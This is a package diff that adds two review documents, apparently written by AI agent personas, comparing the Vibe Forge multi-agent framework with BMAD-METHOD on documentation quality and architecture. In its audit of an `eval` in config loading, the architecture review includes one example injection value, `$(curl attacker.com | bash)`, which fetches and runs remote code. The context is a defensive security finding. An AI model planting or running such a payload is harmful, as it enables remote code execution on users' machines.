@sugar-crash-studios/vibe-forge 0.4.0

package/tasks/review/bmad-review-scribe.md

@@ -0,0 +1,361 @@
+# BMAD vs Vibe Forge: Documentation Quality Review
+
+**Reviewer:** Scribe (📜 Documentation Specialist)
+**Date:** 2026-03-31
+**Task:** review-bmad-scribe
+
+---
+
+## Executive Summary
+
+Both frameworks accomplish their core mission, but they target documentation quality from different angles. **BMAD-METHOD reads like a professional product** -- polished, methodology-forward, multilingual, with a full docs site. **Vibe Forge reads like a capable tool still maturing its narrative** -- technically solid, good coverage of commands and agents, but missing the conceptual scaffolding that helps newcomers understand *why* to use it, not just *how*.
+
+The single most important gap: Vibe Forge has no methodology document. BMAD dedicates significant space to explaining the philosophy of human-AI collaboration. Vibe Forge's README jumps straight to agents and commands without explaining what problem the framework is solving for the reader.
+
+---
+
+## 1. Onboarding Experience Comparison
+
+### BMAD-METHOD
+
+| Aspect | Quality | Notes |
+|--------|---------|-------|
+| First impression | ⭐⭐⭐⭐⭐ | README opens with a philosophy statement before a single command |
+| Quick start | ⭐⭐⭐⭐⭐ | `npx bmad-method install` -- one command |
+| Scope clarity | ⭐⭐⭐⭐⭐ | "Scale-Domain-Adaptive planning depth (bug fix to enterprise)" -- immediately answers "is this for me?" |
+| User skill level | ⭐⭐⭐⭐⭐ | `user_skill_level` config (beginner/intermediate/expert) -- agents adapt explanations accordingly |
+| Getting started docs | ⭐⭐⭐⭐ | Dedicated tutorial at `docs/tutorials/getting-started.md` |
+| First project walkthrough | ⭐⭐⭐⭐ | Workflow map shows exactly what each phase produces |
+
+BMAD immediately answers: *"What is this? Who is it for? How do I start? What will I get?"*
+
+### Vibe Forge
+
+| Aspect | Quality | Notes |
+|--------|---------|-------|
+| First impression | ⭐⭐⭐⭐ | Good ASCII diagram, appealing vision statement |
+| Quick start | ⭐⭐⭐⭐ | `npx vibe-forge init` -- one command, but prerequisites are listed above it |
+| Scope clarity | ⭐⭐⭐ | "Multi-agent development orchestration system" -- descriptive but doesn't explain the problem it solves |
+| User skill level | ⭐⭐ | No skill-level adaptation in docs or agent behavior |
+| Getting started docs | ⭐⭐⭐⭐ | `docs/getting-started.md` is thorough and well-structured |
+| First project walkthrough | ⭐⭐⭐ | Example workflow exists but is abstract (no concrete feature being built) |
+
+**Key gap:** Vibe Forge assumes the reader already understands why multi-agent development is valuable. There's no "here's the problem this solves" moment.
+
+---
+
+## 2. README Quality Comparison
+
+### BMAD README
+
+**Strengths:**
+- Opens with a philosophy statement that immediately differentiates from plain AI tools
+- Structured: Philosophy → Quick Start → Modules → Agents → Links
+- Includes Chinese translation (`README_CN.md`) -- international accessibility
+- Lists all modules with purpose, code, and status
+- Honest about scope ("34+ workflows")
+- Links to full docs site
+
+**Weaknesses:**
+- Somewhat long -- advanced options like `--directory` and `--modules` flags appear in the quick start, which is noisy for beginners
+
+### Vibe Forge README
+
+**Strengths:**
+- Visual architecture diagram is excellent -- immediately shows the system topology
+- Agent table is clear and scannable
+- Task lifecycle diagram explains the workflow visually
+- Token efficiency section is a differentiator worth highlighting more
+
+**Weaknesses:**
+- No problem statement. Opens with description, not motivation.
+- Agent table lists all agents but doesn't explain which ones a beginner should start with
+- "Planning Hub Agents" vs "Worker Agents" vs "Specialists" distinction is not clearly explained
+- No links to the docs site (if one exists) or further reading beyond the README itself
+- The Acknowledgments section mentions BMAD as an inspiration but doesn't explain the relationship clearly
+
+**Recommendation:** Add a "Why Vibe Forge?" section before the Quick Start. 2-3 sentences explaining what pain this solves and for whom.
+
+---
+
+## 3. Agent Documentation Comparison
+
+### BMAD Agent Documentation
+
+| Feature | BMAD | Vibe Forge |
+|---------|------|------------|
+| Agent persona names | Yes (Mary, Winston, Bob, etc.) | No -- agents use role names only |
+| Communication style documented | Implied through persona | Explicit in personality.md files |
+| "When to use" guidance | Via workflow map | Via agent selection table |
+| Phase-based assignment | Yes (phases 1-4) | No explicit phase concept |
+| Skill level adaptation | Yes | No |
+
+BMAD's persona names (e.g., "Mary the Analyst") make agents memorable and easier to discuss in team settings. When a developer says "ask Bob to create the sprint plan," it's more natural than "use the Scrum Master agent."
+
+### Vibe Forge Agent Documentation
+
+The `docs/agents.md` file is genuinely strong:
+- Each agent has: role, type, aliases, communication style, principles, spawn command, example tasks
+- The agent selection guide table is a standout feature -- quick reference for "which agent for which scenario"
+- Personality.md files give deep character definition
+
+**Gaps:**
+- No "when NOT to use this agent" guidance for each agent
+- Planning Hub agents (Sage, Oracle, Quartermaster) are documented as non-spawnable, but there's no explanation of *how* to engage them in a Planning Hub session
+- No documentation on agent handoffs -- what happens when Anvil finishes and Sentinel should review?
+- Agents that require approval (Aegis) are noted but the approval workflow is not documented
+
+---
+
+## 4. Template Completeness Comparison
+
+### Task Template
+
+**Vibe Forge task template (`config/task-template.md`)** is well-structured with:
+- Frontmatter (id, type, priority, status, assigned_to, blocked_by, depends_on)
+- Context section with relevant files and dependencies
+- Acceptance criteria with checkboxes
+- Agent instructions with boundaries
+- Output expected
+- Completion summary
+
+**BMAD story template** (from `bmad-dev-story`) generates:
+- User story narrative in "As a [user], I want [goal] so that [reason]" format
+- Acceptance criteria (Given/When/Then format -- BDD style)
+- Technical notes
+- Implementation checklist
+- Test requirements
+
+**Gaps in Vibe Forge task template:**
+
+| Field | BMAD Has It | Vibe Forge Has It | Impact |
+|-------|-------------|-------------------|--------|
+| Story points / effort estimate | Via sprint planning | `estimated_complexity` only | Low |
+| BDD acceptance criteria (Given/When/Then) | Yes | Checkbox style only | Medium |
+| "Definition of Done" checklist | Yes (via story) | Only for specific tasks | Medium |
+| Rollback plan (for risky changes) | Via architecture | Not in task template | Medium |
+| Related documentation links | Yes | Not standard | Low |
+
+### Project Context Template
+
+**Vibe Forge `context/project-context-template.md`** contains the right sections (tech stack, file structure, coding standards, key decisions, environment) but every value is a placeholder. The template offers no guidance on *why* each section matters or what makes a good answer.
+
+**BMAD `bmad-generate-project-context`** generates context from actual code analysis rather than requiring manual fill-in.
+
+**Gaps in Vibe Forge project context template:**
+
+1. No section for **deployment targets** (Where does this run? Cloud? On-prem? Edge?)
+2. No section for **team conventions** (PR size limits, review turnaround expectations, branch naming)
+3. No section for **release cadence** (How often do you ship? Continuous? Sprint-based?)
+4. No section for **external dependencies** (third-party APIs, SLAs, rate limits)
+5. No section for **non-functional requirements** (performance targets, accessibility standards, browser support)
+6. No guidance text explaining what belongs in each section
+7. No example of a filled-out context file
+8. Missing agent-specific sections for: Herald (release process), Ember (CI/CD details), Aegis (security standards)
+
+---
+
+## 5. Example Projects
+
+**BMAD:** Has a dedicated workflow for generating project context from existing code (`bmad-generate-project-context`). The workflow map serves as an implicit example by showing concrete artifacts produced at each step.
+
+**Vibe Forge:** No example project. The getting-started guide uses "Add user authentication" as an example task but doesn't show a complete session.
+
+**Recommendation:** Create `docs/examples/` with at minimum one complete example:
+- A fictitious project (e.g., a todo API)
+- A filled-out `project-context.md` for it
+- 2-3 example task files showing different complexity levels
+- A sample Planning Hub conversation showing how tasks get created
+
+---
+
+## 6. Concept/Methodology Documentation
+
+### BMAD
+
+BMAD's README opens with its philosophy before any commands:
+
+> "Traditional AI tools do the thinking for you, producing average results. BMad agents and facilitated workflows act as expert collaborators who guide you through a structured process to bring out your best thinking in partnership with the AI."
+
+This statement immediately explains:
+- The problem (AI doing all the thinking produces average results)
+- The solution (collaborative workflows)
+- The benefit (brings out *your* best thinking)
+
+BMAD also documents a clear 4-phase methodology with specific workflows and artifacts for each phase.
+
+### Vibe Forge
+
+Vibe Forge has no methodology document. The README describes the system but not the practice. Missing:
+
+1. **What is "vibe coding"?** -- The tool is called "Vibe Forge" and targets "vibe coding" but this term is never defined
+2. **When should I spawn a worker vs use the Planning Hub directly?** -- The decision criteria are not documented
+3. **What is a typical day/session?** -- The getting-started guide has an "Example Workflow" but it's a bulleted list, not a narrative
+4. **How does Vibe Forge change how I work?** -- The philosophy section in the README exists but is thin
+
+**Recommendation:** Add `docs/methodology.md` that explains:
+- What vibe coding is and why multi-agent development helps
+- The decision framework: when to use Planning Hub, when to spawn workers, when to use worker-loop
+- The collaboration model: human as product owner, agents as specialists
+- How to think about task granularity
+
+---
+
+## 7. In-Code Documentation
+
+### Vibe Forge
+
+- Agent `personality.md` files are detailed and serve as comprehensive definitions
+- `config/agents.json` is machine-readable but lacks inline comments (JSON doesn't support them; a companion README or schema file would help)
+- Shell scripts in `bin/` -- not reviewed but the architecture doc explains the rationale for each
+- No documented schema for task frontmatter beyond the template itself
+
+### BMAD
+
+- `module.yaml` is self-documenting with inline comments per field
+- Workflow files contain explanatory text about what each step produces
+- Each skill directory contains a configuration that explains its purpose
+
+**Gap:** Vibe Forge has no documented schema file for task frontmatter. The `type`, `priority`, `estimated_complexity` fields each have valid values but they're only documented by example in the template. A `docs/reference/task-schema.md` would help.
+
+---
+
+## 8. Documentation Architecture
+
+### BMAD
+
+BMAD uses the **Diátaxis framework** (explicitly or implicitly):
+- `docs/tutorials/` -- learning-oriented (getting-started.md)
+- `docs/how-to/` -- problem-oriented (upgrade guide, etc.)
+- `docs/reference/` -- information-oriented (agents, commands, modules)
+- `docs/explanation/` -- understanding-oriented (conceptual docs)
+
+This organization means a reader always knows where to look based on what kind of help they need.
+
+### Vibe Forge
+
+Vibe Forge's `docs/` directory has good coverage but flat organization:
+
+```
+docs/
+├── agents.md          # Reference
+├── architecture.md    # Explanation
+├── commands.md        # Reference
+├── getting-started.md # Tutorial
+├── workflows.md       # How-to
+└── security.md        # Reference
+```
+
+This works at current scale but will become hard to navigate as the project grows.
+
+**Recommendation:** Reorganize into Diátaxis structure or at minimum add a `docs/README.md` index that helps readers navigate to the right document for their need.
+
+---
+
+## 9. Root-Level Documentation Files
+
+| File | BMAD Has It | Vibe Forge Has It |
+|------|-------------|-------------------|
+| README.md | Yes | Yes |
+| CONTRIBUTING.md | Yes | No |
+| CHANGELOG.md | Yes | No |
+| SECURITY.md | Yes | Yes |
+| TRADEMARK.md | Yes | No |
+| LICENSE | Yes | Yes (implied) |
+| AGENTS.md | Yes | No (equivalent in docs/agents.md) |
+| README_CN.md | Yes | No |
+
+**Missing files for Vibe Forge:**
+- `CONTRIBUTING.md` -- How to contribute to the Vibe Forge framework itself
+- `CHANGELOG.md` -- History of changes (especially important for a tool people depend on)
+- `AGENTS.md` at root -- A GitHub convention for documenting AI agent behavior (Claude/Copilot integration)
+
+---
+
+## 10. Specific Improvement Recommendations
+
+Ranked by impact to newcomer experience:
+
+### P1 (High Impact)
+
+1. **Add a "Why Vibe Forge?" section to README**
+   - 2-3 sentences on what problem it solves
+   - Who is it for (solo vibe coders, small teams?)
+   - What makes it different from just using Claude Code directly
+
+2. **Add `docs/methodology.md`**
+   - Define "vibe coding" in this framework's context
+   - Document the decision framework for when to use which mode
+   - Explain the human role vs agent roles
+
+3. **Fill out `context/project-context-template.md` with guidance text**
+   - Each section should have a comment explaining why it matters and what a good answer looks like
+   - Add an example filled-out template for a fictitious project
+   - Add missing sections: deployment targets, team conventions, NFRs
+
+4. **Add `CONTRIBUTING.md`**
+   - How to add a new agent
+   - How to modify the task template
+   - PR expectations
+
+### P2 (Medium Impact)
+
+5. **Add `docs/reference/task-schema.md`**
+   - Document all valid values for `type`, `priority`, `estimated_complexity`, `status`
+   - Explain what `blocked_by` vs `depends_on` means semantically
+   - Show example tasks of different types
+
+6. **Add a docs index at `docs/README.md`**
+   - "What kind of help do you need?" decision tree
+   - Links to each doc with one-line descriptions
+
+7. **Document the agent handoff workflow**
+   - What triggers Sentinel to pick up a completed task?
+   - What does "needs-changes" flow look like end-to-end?
+   - Visual sequence diagram would help here
+
+8. **Add `CHANGELOG.md`**
+   - Start from current state
+   - Format: Keep a Changelog (keepachangelog.com)
+
+### P3 (Lower Impact, Quality of Life)
+
+9. **Add "when NOT to use" guidance to each agent in docs/agents.md**
+   - Anvil: "Don't use for API design decisions -- use Planning Hub"
+   - Furnace: "Don't use for visual/UX decisions"
+   - Etc.
+
+10. **Add a complete example project to `docs/examples/`**
+    - Filled-out project-context.md
+    - 2-3 example task files
+    - Example Planning Hub session transcript
+
+11. **Add `AGENTS.md` at root level**
+    - GitHub convention for documenting AI agent behavior
+    - Lists all agents with their scope and boundaries
+
+12. **Add `docs/reference/` structure for reference docs**
+    - Move commands, task schema, agent reference there
+
+---
+
+## Summary Table
+
+| Documentation Area | BMAD Score | Vibe Forge Score | Gap |
+|-------------------|-----------|-----------------|-----|
+| Onboarding speed | 9/10 | 7/10 | Missing "why" |
+| README quality | 9/10 | 8/10 | No problem statement |
+| Methodology docs | 10/10 | 4/10 | No methodology doc |
+| Agent documentation | 8/10 | 8/10 | Roughly equal |
+| Template completeness | 9/10 | 6/10 | Context template needs work |
+| Example projects | 7/10 | 3/10 | No examples |
+| In-code docs | 8/10 | 7/10 | Missing schema docs |
+| Documentation architecture | 9/10 | 6/10 | Flat structure, no index |
+| Root-level files | 10/10 | 6/10 | Missing CONTRIBUTING, CHANGELOG |
+| **Overall** | **88/100** | **63/100** | **25 point gap** |
+
+The gap is real but closeable. Vibe Forge's core documentation is already solid -- commands.md and agents.md are genuinely good reference docs. The deficit is almost entirely in conceptual/methodology documentation and template quality. That's a documentation problem, not a feature problem.
+
+---
+
+*Review completed by Scribe. Findings based on direct reading of all Vibe Forge docs and fetched content from https://github.com/bmad-code-org/BMAD-METHOD.*

package/tasks/review/bmad-review-sentinel.md

@@ -0,0 +1,242 @@
+# BMAD vs Vibe Forge: Sentinel's Architectural Review
+
+**Reviewer:** Sentinel
+**Date:** 2026-03-31
+**Scope:** Full comparative review - Vibe Forge vs BMAD-METHOD
+**Files inspected:** All 11 agent personalities, forge-daemon.sh, cli.js, config/agents.json, config/agent-manifest.yaml, config/task-template.md, bin/lib/ (all 5 files)
+**BMAD source:** https://github.com/bmad-code-org/BMAD-METHOD (v6, ~43k stars)
+
+---
+
+## Architectural Verdict
+
+Vibe Forge is an **execution-layer orchestration tool**. It routes tasks between agents, manages workflow state, and provides a terminal-tab UX for running persistent Claude Code sessions. It does this competently.
+
+BMAD-METHOD is a **full-lifecycle development framework**. It covers discovery, requirements, architecture, planning, implementation, and review as a phased pipeline where each phase produces artifacts that gate the next.
+
+These are not the same thing. Vibe Forge plugs into phase 4 of BMAD's workflow and calls it the whole system. For small, well-scoped projects with experienced developers who already know what to build, Vibe Forge's lighter overhead is appropriate. For anything requiring discovery or architectural decisions, Vibe Forge has no answer.
+
+Neither framework is categorically better. They optimize for different constraints. But Vibe Forge has five structural problems that need addressing regardless of scope.
+
+---
+
+## Critical Issues (Must Fix)
+
+### 1. `eval` of Generated Shell Code - `bin/lib/config.sh:321`
+
+```bash
+eval "$agent_data"
+```
+
+`load_agents_from_json()` calls Node.js to parse `agents.json`, then `eval`s the output to populate shell arrays. The Node.js code validates that agent names match `/^[a-z0-9_-]+$/` before emitting assignments. This is a good mitigation.
+
+**However:** The `eval` still executes arbitrary shell code. If `agents.json` is compromised (supply chain attack, malicious PR, misconfigured permissions), the Node.js validator is bypassed by injecting payload in the `name` or `role` field through the `escapeForShell` path. `escapeForShell` escapes `$`, backticks, quotes, and backslashes - but the output is then `eval`d as shell assignments. The attack surface exists.
+
+**Specific risk:** `AGENT_DISPLAY_NAMES["hub"]="Planning Hub"` - display names and roles go through `escapeForShell` but are not identifier-validated. A role like `"Backend Developer\"; $(curl attacker.com | bash) ; echo \""` would be escaped... but the escaping is complex and the code has been changed before. `eval` is inherently fragile against this class of mistake.
+
+**Fix direction:** Instead of `eval`-ing emitted shell assignments, have the Node.js process emit JSON that bash reads field by field, or use a dedicated config-reading binary.
+
+---
+
+### 2. `design` Alias Collision - `config/agents.json`
+
+Both `architect` and `pixel` declare `"design"` as an alias:
+
+- `architect.aliases`: `["arch", "design", "sage"]`
+- `pixel.aliases`: `["ux", "design", "ui-design", "user-experience"]`
+
+In `load_agents_from_json()`, aliases are emitted as shell assignments in iteration order. In V8 (Node.js), object keys preserve insertion order. `architect` is defined before `pixel` in `agents.json`. Therefore `AGENT_ALIASES["design"]="architect"` is emitted first, then `AGENT_ALIASES["design"]="pixel"` overwrites it.
+
+**Result:** `forge spawn design` spawns Pixel (UX Designer), not Architect. This is silent and wrong. No warning is emitted. The collision goes undetected.
+
+**Fix:** Remove `"design"` from one of the aliases. Architect should own `"design"`. Pixel already has `"ux"` and `"ui-design"` as unambiguous alternatives.
+
+---
+
+### 3. `constants.sh` Hardcoded Fallbacks Are a Maintenance Trap - `bin/lib/constants.sh`
+
+```bash
+# NOTE: Must stay in sync with config/agents.json (which is the source of truth)
+# Last sync: 2026-01-16
+```
+
+The constants file hardcodes the full agent roster as fallback arrays. It explicitly documents it must stay in sync with `agents.json`. It documents the last sync date. It will drift. It always drifts.
+
+**Current drift already detected:** `config/agents.json` has `"icon": "🔒"` for Aegis. `constants.sh` has `["aegis"]="🔒"`. That's fine. But `agents.json` version is `"1.1.0"` - no version field exists in `constants.sh`. The manifest says `agent-manifest.yaml` was last synced 2026-01-16. Three separate places that must stay in sync, with no automated enforcement.
+
+**What happens when an agent is added to `agents.json` but not to `constants.sh`?** The fallback silently drops the new agent in any code path where JSON loading failed. No test catches this. No CI check validates sync.
+
+**Fix:** Either eliminate the fallback entirely (fail loudly if `agents.json` is missing), or add a CI check that validates `constants.sh` matches `agents.json`.
+
+---
+
+### 4. No Task Assignment Enforcement
+
+Agents self-select tasks from `tasks/pending/` by reading the `assigned_to` field in the frontmatter. The entire boundary is: personality prompts say "check for tasks assigned to you."
+
+There is no mechanism preventing Anvil from picking up a task assigned to Furnace. There is no routing enforcement in the daemon. `route_completed_to_review()` moves all completed tasks to review regardless of agent identity - that's correct. But the `tasks/pending/` pickup is pure honor system.
+
+**In a human team this is fine.** In a multi-agent system where agents run autonomously and may process tasks in non-deterministic order, two agents can race on the same task. Agent A reads the file, moves it to `in-progress/`, begins working. Agent B reads the same file before A moves it, also begins working. The daemon's `safe_move_task()` uses `mv` which is atomic on the same filesystem - but only Agent A or B wins the move. Agent B will still have the file content in context and may continue working on a task it no longer "owns."
+
+**Fix:** The daemon should enforce assignment - only move a task to `in-progress/` for the correct agent, and only notify the correct agent. Or use file locking at pickup.
+
+---
+
+### 5. No Token Management Strategy
+
+Agents load: full personality (5-10KB each) + full task file + accumulated conversation history. On long-running sessions with multiple task iterations, context windows will overflow. There is no mechanism analogous to BMAD's Distillator or step-file loading.
+
+**This is the most consequential missing capability.** BMAD treats token management as a first-class architectural concern. It has:
+- Distillator: lossless document compression into dense factual format
+- Step-file loading: only load the current workflow step, not the entire workflow
+- Discussion summary caps: 400 words per round in Party Mode
+
+Vibe Forge has none of these. Agents will silently degrade as context windows fill. Users will notice mysterious quality drops on long tasks with no diagnostic path.
+
+**Fix:** At minimum, document that agents should start fresh sessions for long tasks. Ideally, implement a context compression skill or task-summarization pattern.
+
+---
+
+## Important Issues (Should Fix)
+
+### 6. Stale Status Timestamps on Startup
+
+All agent status JSON files contain hardcoded timestamps from January 2026. The stale threshold is 300 seconds. Every agent will show `(stale)` in the dashboard immediately on project load.
+
+This is cosmetic but undermines the dashboard's utility as a real-time signal. When everything is stale, "stale" means nothing.
+
+**Fix:** Either initialize status files with the current timestamp on `forge init`, or display "never updated" instead of "stale" for timestamps older than a threshold (e.g., 1 day).
+
+---
+
+### 7. No Planning/Requirements Phase
+
+Vibe Forge has no equivalent to BMAD's PRD workflow, architecture documentation workflow, or implementation readiness check. Tasks can be created with arbitrary `background` sections and dispatched directly to implementation agents.
+
+**Consequence:** On a real multi-agent project, you will build the wrong thing coherently. Agents will implement against inconsistent or underspecified requirements. There is no forcing function to clarify "what are we building and why" before a single line of code is written.
+
+BMAD's 13-pass PRD validation and architecture readiness gate are heavyweight for small projects - but the absence of any equivalent is a gap for anything non-trivial.
+
+**Recommendation:** Add an optional `architect` workflow that produces a `context/project-brief.md` and `context/architecture.md` before implementation begins. The Planning Hub should reference these documents when creating tasks.
+
+---
+
+### 8. No ADR Mechanism
+
+Vibe Forge has no Architecture Decision Record pattern. When the Architect agent makes a decision, it exists only in conversation history. When Furnace makes a conflicting decision two weeks later, there is no persistent record showing the original decision was intentional.
+
+BMAD explicitly identifies common conflict points (REST vs GraphQL, naming conventions, state management choices) and requires they be resolved in architecture docs before implementation. Vibe Forge has no equivalent forcing function.
+
+---
+
+### 9. Missing: HALT Conditions in Agent Workflows
+
+BMAD workflows define explicit HALT conditions: inaccessible files, three consecutive failures, unresolvable conflicts, missing configuration. Agents stop and escalate rather than silently degrade.
+
+Vibe Forge agents have a `need-help` skill that writes to `tasks/attention/`. This is the right mechanism. But agent personalities don't specify HALT conditions. Anvil's personality doesn't say "if the component design is ambiguous, stop and request clarification from Pixel." Furnace's doesn't say "if the database schema hasn't been defined, halt and escalate to Architect."
+
+The escalation path exists in infrastructure but isn't wired into agent behavior specifications.
+
+---
+
+### 10. `bin/cli.js:287-292` - `git reset --hard origin/main` on Update
+
+```javascript
+execSync('git reset --hard origin/main', {
+  stdio: 'inherit',
+  cwd: targetDir,
+});
+```
+
+This is the update command for Vibe Forge's own installation directory (`_vibe-forge/`). Users who have made local modifications (e.g., custom agent personalities stored inside `_vibe-forge/agents/`) will have their changes silently destroyed on `npx vibe-forge update`.
+
+The `.gitignore` comments suggest user customizations should live outside `_vibe-forge/`, but this is only documented as commented-out ignore rules. New users will not know this.
+
+**Fix:** Check for local modifications in `_vibe-forge/` before resetting. Warn if found. Document clearly that user content belongs in the project root's `tasks/`, `context/`, and `.claude/` directories.
+
+---
+
+## Minor Issues (Nice to Have)
+
+### 11. `agent-manifest.yaml` Is a Zombie Document
+
+`config/agent-manifest.yaml` declares itself `NON-NORMATIVE documentation` but contains rich information that duplicates or supplements `agents.json`. It includes `source: "bmad-master"` and `source: "dev (Amelia)"` attributions that reveal BMAD lineage but have no programmatic meaning. It will drift from `agents.json` and mislead readers.
+
+**Either** delete it and consolidate documentation into `agents.json` comments, **or** replace it with generated documentation from `agents.json`.
+
+---
+
+### 12. Sentinel and Aegis Have Overlapping Security Mandates
+
+From the agent manifest:
+- **Sentinel:** "Code Reviewer" - reviews all code for quality, security, correctness
+- **Aegis:** "Security Specialist" - reviews auth, queries, file uploads, crypto
+
+Both agents will independently review security-sensitive code. Their verdicts may conflict. There is no protocol for resolving Sentinel APPROVED / Aegis CHANGES REQUESTED contradictions.
+
+**Fix:** Define the relationship explicitly. Option A: Aegis reviews security-sensitive changes first; Sentinel's security checklist defers to Aegis on security items. Option B: Aegis is invoked only when Sentinel flags a security concern for specialist review.
+
+---
+
+### 13. `forge-daemon.sh` Has No Tests
+
+The daemon handles symlink protection, path traversal prevention, file moves, and notification delivery. These are security-sensitive code paths with no test coverage visible in the repository. The `tests/` directory exists but was not populated with daemon tests.
+
+---
+
+### 14. Dual Source of Truth for Agent Icons
+
+`config/agents.json` defines icons (`"icon": "🔒"` for Aegis) and `config/agent-manifest.yaml` also documents icons. Agent personality files also contain icon declarations in their headers (e.g., `**Icon:** 🛡️`). Three places. They must stay in sync manually.
+
+---
+
+## What BMAD Does Significantly Better
+
+| Capability | BMAD | Vibe Forge |
+|---|---|---|
+| Planning pipeline | 4-phase with gates | None |
+| Requirements validation | 13-pass PRD validation | None |
+| Token management | Distillator + step-files | None |
+| Agent boundary enforcement | Capability code system | Honor system |
+| True parallel subagents | Party Mode | Multiple terminal tabs |
+| Module ecosystem | 5+ official modules | Fork the repo |
+| Workflow HALT conditions | Explicit per-workflow | Underdefined |
+| Architecture decisions | ADRs required | None |
+| Implementation readiness gate | Explicit pre-build check | None |
+| Sprint state machine | YAML sprint tracker | Task folder routing |
+| IDE agnosticism | Installer generates per-IDE config | Claude Code specific |
+
+## What Vibe Forge Does Better
+
+| Capability | Vibe Forge | BMAD |
+|---|---|---|
+| Infrastructure security | Symlink protection, path validation, sanitized notifications | Not a focus |
+| Real-time status dashboard | SQLite-backed, stale detection | None |
+| Daemon task routing | Automated file-based routing | Manual workflow execution |
+| Windows support | First-class (PowerShell notifications, Git Bash detection) | Not documented |
+| Setup simplicity | `npx vibe-forge init` + one setup script | More complex install |
+| Agent personality richness | Detailed review checklists, verdict templates | Lighter persona definitions |
+
+---
+
+## Top 5 Critical Gaps Ranked by Impact
+
+1. **No planning/requirements pipeline.** You will build the wrong thing. BMAD's PRD + architecture + readiness gate exists because teams consistently start implementing before requirements are clear. Vibe Forge has no forcing function.
+
+2. **`eval` of shell code from `agents.json`.** Not a theoretical risk - it's an `eval` on data that flows from a file to a Node.js process to a shell interpreter. Any bug in the escaping logic or any compromise of `agents.json` is remote code execution on the machine running the daemon.
+
+3. **`design` alias collision.** Two agents claim the same alias. The wrong one wins silently. This is a live bug affecting any user who types `forge spawn design`.
+
+4. **No token management.** Agents will degrade on long sessions with no warning. This is the most user-visible failure mode and it has no mitigation path.
+
+5. **`constants.sh` sync drift.** The hardcoded fallback arrays will diverge from `agents.json` over time. New agents added to `agents.json` will silently disappear in fallback code paths. No test validates sync.
+
+---
+
+## Summary
+
+Vibe Forge's infrastructure layer is reasonably well-built with genuine security awareness. The daemon, lib utilities, and task routing system are solid. The agent personalities are well-crafted with clear voices and detailed behavioral guidelines.
+
+The framework's gap is upstream of what it does. It assumes you arrive at the Forge with a clear task and a clear target. BMAD assumes you arrive with a problem and need to figure out the task. For the use case Vibe Forge targets - teams that already know what to build and need coordinated AI assistance building it - the overhead gap is acceptable.
+
+Fix the `eval`, fix the alias collision, and add token management guidance. The rest are improvements, not blockers.